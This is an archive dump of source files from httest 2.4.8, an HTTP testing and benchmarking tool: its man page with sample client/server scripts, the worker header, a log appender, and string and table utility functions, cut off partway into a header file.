500000000000000httest-2.4.8/src/httest.10000664000175100017510000000654512205370420012156 00000000000000.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.40.11. .TH HTTEST "1" "August 2013" "httest 2.4.8" "User Commands" .SH NAME httest \- test HTTP driven application .SH SYNOPSIS .B httest [\fIOPTIONS\fR] \fIscripts\fR .SH DESCRIPTION httest is a script based tool for testing and benchmarking web applications, web servers, proxy servers and web browsers. httest can emulate clients and servers in the same test script, very useful for testing proxys. .SH OPTIONS .TP \fB\-V\fR \fB\-\-version\fR Print version number and exit .TP \fB\-h\fR \fB\-\-help\fR Display usage information (this message) .TP \fB\-n\fR \fB\-\-suppress\fR do no print start and OK|FAILED .TP \fB\-s\fR \fB\-\-silent\fR silent mode .TP \fB\-e\fR \fB\-\-error\fR log level error .TP \fB\-i\fR \fB\-\-info\fR log level info .TP \fB\-d\fR \fB\-\-debug\fR log level debug for script debugging .TP \fB\-p\fR \fB\-\-debug\-system\fR log level debug\-system to log more details .TP \fB\-L\fR \fB\-\-list\-commands\fR List all available script commands .TP \fB\-C\fR \fB\-\-help\-command\fR Print help for specific command .TP \fB\-t\fR \fB\-\-duration\fR Print test duration .TP \fB\-T\fR \fB\-\-timestamp\fR Time stamp on every run .TP \fB\-S\fR \fB\-\-shell\fR Shell mode .TP \fB\-S\fR \fB\-\-shell\fR Shell mode .TP \fB\-D\fR \fB\-\-define\fR Define variables .HP \fB\-l\fR \fB\-\-log\-thread\-number\fR Show the thread number for every printed line .TP \fB\-b\fR \fB\-\-color\fR Colored output .SH EXAMPLES httest script.htt .PP httest \fB\-Ts\fR script.htt .SH SCRIPTS httest is script based. The following script examples can be but into a scripte i.e. sample.htt and can be called like .nf httest sample.htt .SH "SIMPLE SCRIPT" Get a page and do expect return code 200 OK. .nf CLIENT _REQ www.google.ch 80 __GET /search?q=apache HTTP/1.1 __Host: www.google.ch __ _EXPECT headers "HTTP/1.1 200 OK" _WAIT END .SH "CUT AND PAST SCRIPT" Cut and past from a HTTP stream, i.e we cut the apache host to access it in the second request. .nf CLIENT _REQ www.google.ch 80 __GET /search?q=apache HTTP/1.1 __Host: www.google.ch __ _MATCH body '\\Welcome! - The \\Apache\\ HTTP Server Project' APACHE_HOST _WAIT _REQ $APACHE_HOST 80 __GET / HTTP/1.1 __Host: $APACHE_HOST __ _WAIT END .SH "CLIENT SERVER SCRIPT" We can hold client and server in the same host. Actually multiple client and multiple server. Very useful to test forward or reverse proxies. Or a webapplication which communicat itself with third party servers i.e. mail server. This is a very basic selfcontained test you can run on any maschine. .nf CLIENT _REQ localhost 8080 __GET /foo HTTP/1.1 __Host: localhost __ _WAIT END SERVER 8080 _RES _EXPECT "/foo" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Hello World END .SH "SSL SCRIPT" Of course SSL do also work with httest, just put "SSL:" before port. .nf CLIENT _REQ localhost SSL:8080 __GET /foo HTTP/1.1 __Host: localhost __ _WAIT END SERVER SSL:8080 _RES _EXPECT "/foo" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Hello World END .SH AUTHOR Written by Christian Liesch .SH "REPORTING BUGS" Report bugs to http://sourceforge.net/projects/htt .SH COPYRIGHT Copyright \(co 2006 Free Software Foundation, Inc. .br This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. httest-2.4.8/src/worker.h0000664000175100017510000004430612205370114012240 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool file. */ #ifndef HTTEST_WORKER_H #define HTTEST_WORKER_H #include #include "logger.h" #include "transport.h" #include "store.h" #include "socket.h" typedef struct command_s command_t; typedef apr_status_t(*command_f) (command_t * self, void * type, char *data, apr_pool_t *ptmp); struct command_s { char *name; command_f func; char *syntax; char *help; #define COMMAND_FLAGS_NONE 0x00000000 #define COMMAND_FLAGS_DEPRECIATED 0x00000001 #define COMMAND_FLAGS_EXPERIMENTAL 0x00000002 #define COMMAND_FLAGS_LINK 0x00000004 #define COMMAND_FLAGS_BODY 0x00000008 int flags; }; typedef struct socket_s { int is_ssl; transport_t *transport; apr_socket_t *socket; #define SOCKET_CLOSED 0 #define SOCKET_CONNECTED 1 int socket_state; /* worker config */ apr_hash_t *config; apr_size_t peeklen; char peek[32]; apr_table_t *cookies; char *cookie; sockreader_t *sockreader; } socket_t; typedef struct validation_s { apr_table_t *ns; apr_table_t *dot; apr_table_t *headers; apr_table_t *body; apr_table_t *error; apr_table_t *exec; } validation_t; typedef struct worker_s worker_t; typedef struct global_s global_t; typedef apr_status_t(*interpret_f)(worker_t *worker, worker_t *parent, apr_pool_t *ptmp); typedef const char *(*readline_f)(worker_t *worker); struct worker_s { global_t *global; /* readline function */ readline_f readline; /* interpreter function */ interpret_f interpret; /* worker config */ apr_hash_t *config; /* worker block if this is a CALL */ worker_t *block; /* this is the pool where the structure lives */ apr_pool_t *heartbeat; /* dies on END */ apr_pool_t *pbody; /* dies on every flush */ apr_pool_t *pcache; /* body variables */ store_t *vars; /* block parameters */ store_t *params; /* block return variables */ store_t *retvars; /* block local variables */ store_t *locals; /* buffered stdout */ apr_file_t *out; /* buffered errout */ apr_file_t *err; /* filename of current script part */ const char *filename; #define FLAGS_NONE 0x00000000 #define FLAGS_PIPE 0x00000001 #define FLAGS_CHUNKED 0x00000002 #define FLAGS_PIPE_IN 0x00000008 #define FLAGS_FILTER 0x00000010 #define FLAGS_CLIENT 0x00000020 #define FLAGS_SERVER 0x00000040 #define FLAGS_ONLY_PRINTABLE 0x00000080 #define FLAGS_PRINT_HEX 0x00000100 #define FLAGS_SSL_LEGACY 0x00000200 #define FLAGS_AUTO_CLOSE 0x00000400 #define FLAGS_AUTO_COOKIE 0x00000800 #define FLAGS_IGNORE_BODY 0x00001000 #define FLAGS_SKIP_FLUSH 0x00002000 #define FLAGS_LOADED_BLOCK 0x00004000 int flags; int cmd; int cmd_from; int cmd_to; int which; int group; char *name; char *additional; const char *short_desc; const char *desc; int chunksize; apr_size_t sent; int req_cnt; char *match_seq; apr_time_t socktmo; apr_thread_t *mythread; apr_thread_mutex_t *sync_mutex; apr_thread_mutex_t *log_mutex; apr_thread_mutex_t *mutex; apr_table_t *lines; apr_table_t *cache; validation_t match; validation_t grep; validation_t expect; apr_table_t *headers_allow; apr_table_t *headers_filter; apr_table_t *headers_add; apr_table_t *headers; apr_hash_t *modules; apr_hash_t *blocks; apr_hash_t *sockets; apr_socket_t *listener; socket_t *socket; apr_port_t listener_port; char *listener_addr; logger_t *logger; }; struct global_s { apr_pool_t *pool; apr_pool_t *cleanup_pool; apr_hash_t *config; int flags; const char *path; const char *filename; store_t *vars; store_t *shared; apr_hash_t *modules; apr_hash_t *blocks; apr_table_t *files; apr_table_t *threads; apr_table_t *clients; apr_table_t *servers; apr_table_t *daemons; logger_t *logger; int CLTs; int SRVs; int cur_threads; int tot_threads; int groups; apr_thread_mutex_t *sync_mutex; apr_thread_mutex_t *mutex; int line_nr; #define GLOBAL_STATE_NONE 0 #define GLOBAL_STATE_CLIENT 1 #define GLOBAL_STATE_SERVER 2 #define GLOBAL_STATE_BLOCK 3 #define GLOBAL_STATE_DAEMON 4 #define GLOBAL_STATE_FILE 5 int state; #define GLOBAL_FILE_STATE_NORMAL 0 #define GLOBAL_FILE_STATE_MODULE 1 int file_state; int socktmo; worker_t *worker; worker_t *cur_worker; apr_threadattr_t *tattr; int recursiv; }; typedef struct line_s { char *info; char *buf; apr_size_t len; } line_t; #ifndef min #define min(a,b) ((a)<(b))?(a):(b) #endif #ifndef max #define max(a,b) ((a)>(b))?(a):(b) #endif #ifndef DEFAULT_THREAD_STACKSIZE #define DEFAULT_THREAD_STACKSIZE 262144 #endif #define RSA_SERVER_CERT "server.cert.pem" #define RSA_SERVER_KEY "server.key.pem" #define LISTENBACKLOG_DEFAULT 511 #define COMMAND_NEED_ARG(err_text) \ { \ if (self && self->flags & COMMAND_FLAGS_DEPRECIATED) { \ fprintf(stderr, "Command %s is depreciated", self->name); \ fflush(stderr); \ } \ while (*data == ' ') { \ ++data; \ } \ if(!*data) { \ worker_log(worker, LOG_ERR, err_text); \ return APR_EGENERAL; \ } \ copy = apr_pstrdup(ptmp, data); \ copy = worker_replace_vars(worker, copy, NULL, ptmp); \ if (self) { \ worker_log(worker, LOG_CMD, "%s %s", self->name, copy); \ } \ else { \ worker_log(worker, LOG_CMD, "%s", copy); \ } \ } #define COMMAND_OPTIONAL_ARG \ { \ if (self && self->flags & COMMAND_FLAGS_DEPRECIATED) { \ fprintf(stderr, "\n*** Command %s is depreciated ***", self->name); \ fflush(stderr); \ } \ while (*data == ' ') { \ ++data; \ } \ copy = apr_pstrdup(ptmp, data); \ copy = worker_replace_vars(worker, copy, NULL, ptmp); \ if (self) { \ worker_log(worker, LOG_CMD, "%s %s", self->name, copy); \ } \ else { \ worker_log(worker, LOG_CMD, "%s", copy); \ } \ } #define COMMAND_NO_ARG \ if (self && self->flags & COMMAND_FLAGS_DEPRECIATED) { \ fprintf(stderr, "\n*** Command %s is depreciated ***", self->name); \ fflush(stderr); \ } \ if (self) { \ worker_log(worker, LOG_CMD, "%s", self->name); \ } /** register */ # define HTT_DECLARE(type) type APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, line_get_length, (worker_t *worker, line_t *line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, line_flush, (worker_t *worker, line_t *line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, line_sent, (worker_t *worker, line_t *line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, client_port_args, (worker_t *worker, char *portinfo, char **new_portinfo, char *rest_of_line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, server_port_args, (worker_t *worker, char *portinfo, char **new_portinfo, char *rest_of_line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, pre_connect, (worker_t *worker)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, connect, (worker_t *worker)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, post_connect, (worker_t *worker)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, accept, (worker_t *worker, char *rest_of_line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, close, (worker_t *worker, char *info, char **new_info)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, WAIT_begin, (worker_t *worker)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, read_pre_headers, (worker_t *worker)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, read_status_line, (worker_t *worker, char *line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, read_header, (worker_t *worker, char *line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, read_buf, (worker_t *worker, char *buf, apr_size_t len)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, WAIT_end, (worker_t *worker, apr_status_t status)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, worker_clone, (worker_t *worker, worker_t *clone)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, read_line, (global_t *global, char **line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, block_start, (global_t *global, char **line)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, block_end, (global_t *global)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, client_create, (worker_t *worker, apr_thread_start_t func, apr_thread_t **new_thread)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, server_create, (worker_t *worker, apr_thread_start_t func, apr_thread_t **new_thread)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, worker_finally, (worker_t *worker)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, thread_start, (global_t *global, apr_thread_t *thread)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, thread_join, (global_t *global, apr_thread_t *thread)); APR_DECLARE_EXTERNAL_HOOK(htt, HTT, apr_status_t, worker_joined, (global_t *global)); apr_status_t transport_register(socket_t *socket, transport_t *transport); apr_status_t transport_unregister(socket_t *socket, transport_t *transport); /** commands */ apr_status_t command_CALL(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_REQ(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_RESWAIT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_RES(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_WAIT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_SLEEP(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_EXPECT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_CLOSE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_TIMEOUT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_MATCH(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_GREP(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_ASSERT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_SET(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_UNSET(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_DATA(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_BIN_DATA(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_FLUSH(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_CHUNK(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_EXEC(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_SENDFILE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_PIPE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_NOCRLF(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_SOCKSTATE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_HEADER(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_RAND(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_DEBUG(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_PRINT(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_UP(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_DOWN(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_TIME(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_LOG_LEVEL_SET(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_LOG_LEVEL_GET(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_RECV(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_READLINE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_CHECK(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_WHICH(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_ONLY_PRINTABLE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_SH(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_ADD_HEADER(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_DETACH(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_PID(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_URLENC(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_URLDEC(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_B64ENC(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_B64DEC(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_STRFTIME(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_TUNNEL(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_BREAK(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_PRINT_HEX(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_AUTO_CLOSE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_AUTO_COOKIE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_MATCH_SEQ(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); apr_status_t command_RECORD(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_PLAY(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_USE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_LOCAL(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_LOCK(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_UNLOCK(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_IGNORE_BODY(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_VERSION(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); apr_status_t command_DUMMY(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp); /** helper */ void lock(apr_thread_mutex_t *mutex); void unlock(apr_thread_mutex_t *mutex); void worker_new(worker_t ** self, char *additional, global_t *global, interpret_f interpret); void worker_clone(worker_t ** self, worker_t * orig); apr_status_t worker_handle_buf(worker_t *worker, apr_pool_t *pool, char *buf, apr_size_t len); void worker_log(worker_t * worker, int mode, char *fmt, ...); void worker_log_buf(worker_t * worker, int mode, char dir, const char *buf, apr_size_t len); void worker_var_set(worker_t * worker, const char *var, const char *val); const char * worker_var_get(worker_t * worker, const char *var); void worker_test_reset(worker_t * worker); apr_status_t worker_test_unused(worker_t * self); apr_status_t worker_test_unused_errors(worker_t * self); apr_status_t worker_expect(worker_t * self, apr_table_t * regexs, const char *data, apr_size_t len); apr_status_t worker_assert(worker_t * self, apr_status_t status); apr_status_t worker_check_error(worker_t *self, apr_status_t status); const char * worker_resolve_var(worker_t *worker, const char *name, apr_pool_t *ptmp); char * worker_replace_vars(worker_t * worker, char *line, int *unresolved, apr_pool_t *ptmp); apr_status_t worker_flush(worker_t * self, apr_pool_t *ptmp); void worker_destroy(worker_t * self); apr_status_t worker_match(worker_t * worker, apr_table_t * regexs, const char *data, apr_size_t len); void worker_conn_close_all(worker_t *self); apr_status_t worker_listener_up(worker_t *worker, apr_int32_t backlog); void worker_get_socket(worker_t *self, const char *hostname, const char *portname); apr_status_t worker_add_line(worker_t * self, const char *file_and_line, char *line); apr_status_t worker_socket_send(worker_t *self, char *buf, apr_size_t len); apr_status_t worker_to_file(worker_t * self); const char *worker_get_value_from_param(worker_t *worker, const char *param, apr_pool_t *ptmp); void worker_finally_cleanup(worker_t *worker); const char *worker_get_file_and_line(worker_t *worker); #endif httest-2.4.8/src/appender_simple.c0000664000175100017510000000736412203674076014110 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool simple appender. */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "defines.h" #include "util.h" #include "replacer.h" #include "regex.h" #include "file.h" #include "transport.h" #include "socket.h" #include "worker.h" #include "appender.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct appender_simple_s { apr_file_t *out; } appender_simple_t; /************************************************************************ * Forward declaration ***********************************************************************/ void appender_simple_printer(appender_t *appender, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len); /************************************************************************ * Implementation ***********************************************************************/ /** * Constructor for simple appender * @param pool IN pool * @param out IN output file * @return appender */ appender_t *appender_simple_new(apr_pool_t *pool, apr_file_t *out) { appender_t *appender; appender_simple_t *simple = apr_pcalloc(pool, sizeof(*simple)); simple->out = out; appender = appender_new(pool, appender_simple_printer, simple); return appender; } /** * Simple appender printer * @param appender IN appender instance * @param mode IN mode * @param thread IN thread id * |@param group IN group id * @param dir IN >,<,+,= * @param custom IN custom string * @param buf IN buffer to print * @param len IN buffer len */ void appender_simple_printer(appender_t *appender, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len) { appender_simple_t *simple = appender_get_user_data(appender); if (!buf) { buf = ""; len = strlen(buf); } if (simple->out) { apr_size_t i = 0; apr_size_t j = 0; do { for (; i < len && buf[i] != '\n'; i++); ++i; apr_file_printf(simple->out, "\n%c:", dir); for (; j < i; j++) { if ((unsigned char)buf[j] == '\n') { } else if ((unsigned char)buf[j] == '\r') { } else if ((unsigned char)buf[j] == '\0') { } else if ((unsigned char)buf[j] < 0x20) { apr_file_putc('.', simple->out); } else { apr_file_putc(buf[j], simple->out); } } apr_file_flush(simple->out); } while (i < len); } } httest-2.4.8/src/util.c0000664000175100017510000002201412203674077011704 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool util. */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include #include "defines.h" #include "util.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Forward declaration ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ /** * This function is taken from apr. The apr_tokenize_to_argv do remove * all leftover "\", but this breaks up my httest completly. * * @param pool IN Context from which pool allocations will occur. * @arg_str IN Input argument string for conversion to argv[]. * @argv_out IN Output location. This is a pointer to an array * of pointers to strings (ie. &(char *argv[]). * This value will be allocated from the contexts * pool and filled in with copies of the tokens * found during parsing of the arg_str. * @param with_quotes IN do not strip quotes from quoted string * * @return SUCCESS */ apr_status_t my_tokenize_to_argv(const char *arg_str, char ***argv_out, apr_pool_t *pool, int with_quotes) { const char *cp; const char *ct; int isquoted, numargs = 0, argnum; #define SKIP_WHITESPACE(cp) \ for ( ; *cp == ' ' || *cp == '\t'; ) { \ cp++; \ }; #define CHECK_QUOTATION(cp,isquoted) \ isquoted = 0; \ if (*cp == '"') { \ isquoted = 1; \ cp++; \ } \ else if (*cp == '\'') { \ isquoted = 2; \ cp++; \ } /* DETERMINE_NEXTSTRING: * At exit, cp will point to one of the following: NULL, SPACE, TAB or QUOTE. * NULL implies the argument string has been fully traversed. */ #define DETERMINE_NEXTSTRING(cp,isquoted) \ for ( ; *cp != '\0'; cp++) { \ if ( (*cp == '\\' && (*(cp+1) == ' ' || *(cp+1) == '\t' || \ *(cp+1) == '"' || *(cp+1) == '\''))) { \ cp++; \ continue; \ } \ if ( (!isquoted && (*cp == ' ' || *cp == '\t')) \ || (isquoted == 1 && *cp == '"') \ || (isquoted == 2 && *cp == '\'') ) { \ break; \ } \ } cp = arg_str; SKIP_WHITESPACE(cp); ct = cp; /* This is ugly and expensive, but if anyone wants to figure a * way to support any number of args without counting and * allocating, please go ahead and change the code. * * Must account for the trailing NULL arg. */ numargs = 1; while (*ct != '\0') { CHECK_QUOTATION(ct, isquoted); DETERMINE_NEXTSTRING(ct, isquoted); if (*ct != '\0') { ct++; } numargs++; SKIP_WHITESPACE(ct); } *argv_out = apr_palloc(pool, numargs * sizeof(char*)); /* determine first argument */ for (argnum = 0; argnum < (numargs-1); argnum++) { SKIP_WHITESPACE(cp); CHECK_QUOTATION(cp, isquoted); ct = cp; DETERMINE_NEXTSTRING(cp, isquoted); cp++; /* do not swallow quotes */ if (isquoted && with_quotes) { (*argv_out)[argnum] = apr_palloc(pool, (cp+1) - (ct-1)); apr_cpystrn((*argv_out)[argnum], ct-1, (cp+1) - (ct-1)); } else { (*argv_out)[argnum] = apr_palloc(pool, cp - ct); apr_cpystrn((*argv_out)[argnum], ct, cp - ct); } } (*argv_out)[argnum] = NULL; return APR_SUCCESS; } /** * @deprecitated: should do everything with new my_get_args * get a string starting/ending with a char, unescape this char if found as an * escape sequence. * * @param string IN > * @param last OUT pointer to next char after cutted string * * @return > * @note: Example: "foo bar \"hallo velo\"" -> foo bar "hallo velo" */ char *my_unescape(char *string, char **last) { char *result; char enclose; apr_size_t i; apr_size_t j; apr_size_t len; if (!string) { return string; } len = strlen(string); enclose = string[0]; result = string; for (i = 1, j = 0; i < len; i++, j++) { /* check if we have an escape char */ if (string[i] == '\\') { /* lookahead */ ++i; /* if lookahead is not \ or " store the \ too, else skip */ if (string[i] != '\\' && string[i] != enclose) { result[j] = '\\'; ++j; } } /* break if we got the first char unescaped */ else if (string[i] == enclose) { ++i; break; } /* store char in result */ result[j] = string[i]; } result[j] = 0; *last = &string[i]; return result; } /** * Deep table copy * * @param p IN pool * @param orig IN orig table * * @return copy of orig */ apr_table_t *my_table_deep_copy(apr_pool_t *p, apr_table_t *orig) { apr_table_entry_t *e; apr_table_t *dest; int i; apr_size_t size; if (!orig) { dest = apr_table_make(p, 5); return dest; } size = apr_table_elts(orig)->nelts; if (size < 5) { size = 5; } dest = apr_table_make(p, size); e = (apr_table_entry_t *) apr_table_elts(orig)->elts; for (i = 0; i < apr_table_elts(orig)->nelts; ++i) { apr_table_add(dest, e[i].key, e[i].val); } return dest; } /** * Swallow table copy * * @param p IN pool * @param orig IN orig table * * @return copy of orig */ apr_table_t *my_table_swallow_copy(apr_pool_t *p, apr_table_t *orig) { apr_table_entry_t *e; apr_table_t *dest; int i; apr_size_t size; if (!orig) { dest = apr_table_make(p, 5); return dest; } size = apr_table_elts(orig)->nelts; if (size < 5) { size = 5; } dest = apr_table_make(p, size); e = (apr_table_entry_t *) apr_table_elts(orig)->elts; for (i = 0; i < apr_table_elts(orig)->nelts; ++i) { apr_table_addn(dest, apr_pstrdup(p, e[i].key), e[i].val); } return dest; } /** * get the status string * * @param p IN pool * @param rc IN status to print * * @return status string */ char *my_status_str(apr_pool_t * p, apr_status_t rc) { char *text = apr_pcalloc(p, 201); apr_strerror(rc, text, 200); return text; } /** * splits arguments into a table * * @param line IN string of params * @param params INOUT table to store params */ void my_get_args(char *line, store_t *params, apr_pool_t *pool) { int i; char **argv; if (my_tokenize_to_argv(line, &argv, pool, 0) == APR_SUCCESS) { for (i = 0; argv[i] != NULL; i++) { /* store value by his index */ store_set(params, apr_itoa(pool, i), argv[i]); } } } /** * display copyright information * * @param program name */ void copyright(const char *progname) { printf("%s " PACKAGE_VERSION "\n", progname); printf("\nCopyright (C) 2006 Free Software Foundation, Inc.\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"); printf("\nWritten by Christian Liesch\n"); } /** * filename * * @param path IN path to file * * @return last part of path */ const char *filename(apr_pool_t *pool, const char *path) { char *tmp; char *elem; char *last; char *old = NULL; tmp = apr_pstrdup(pool, path); elem = apr_strtok(tmp, "/", &last); while (elem) { old = elem; elem = apr_strtok(NULL, "/", &last); } return old; } /** * 2 hex digit number to char borowed from apache sourc * * @param what IN hex to convert * * @return char */ char x2c(const char *what) { register char digit; #if !APR_CHARSET_EBCDIC digit = ((what[0] >= 'A') ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0')); digit *= 16; digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A') + 10 : (what[1] - '0')); #else /*APR_CHARSET_EBCDIC*/ char xstr[5]; xstr[0]='0'; xstr[1]='x'; xstr[2]=what[0]; xstr[3]=what[1]; xstr[4]='\0'; digit = apr_xlate_conv_byte(ap_hdrs_from_ascii, 0xFF & strtol(xstr, NULL, 16)); #endif /*APR_CHARSET_EBCDIC*/ return (digit); } httest-2.4.8/src/appender_simple.h0000664000175100017510000000156712203674076014114 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the 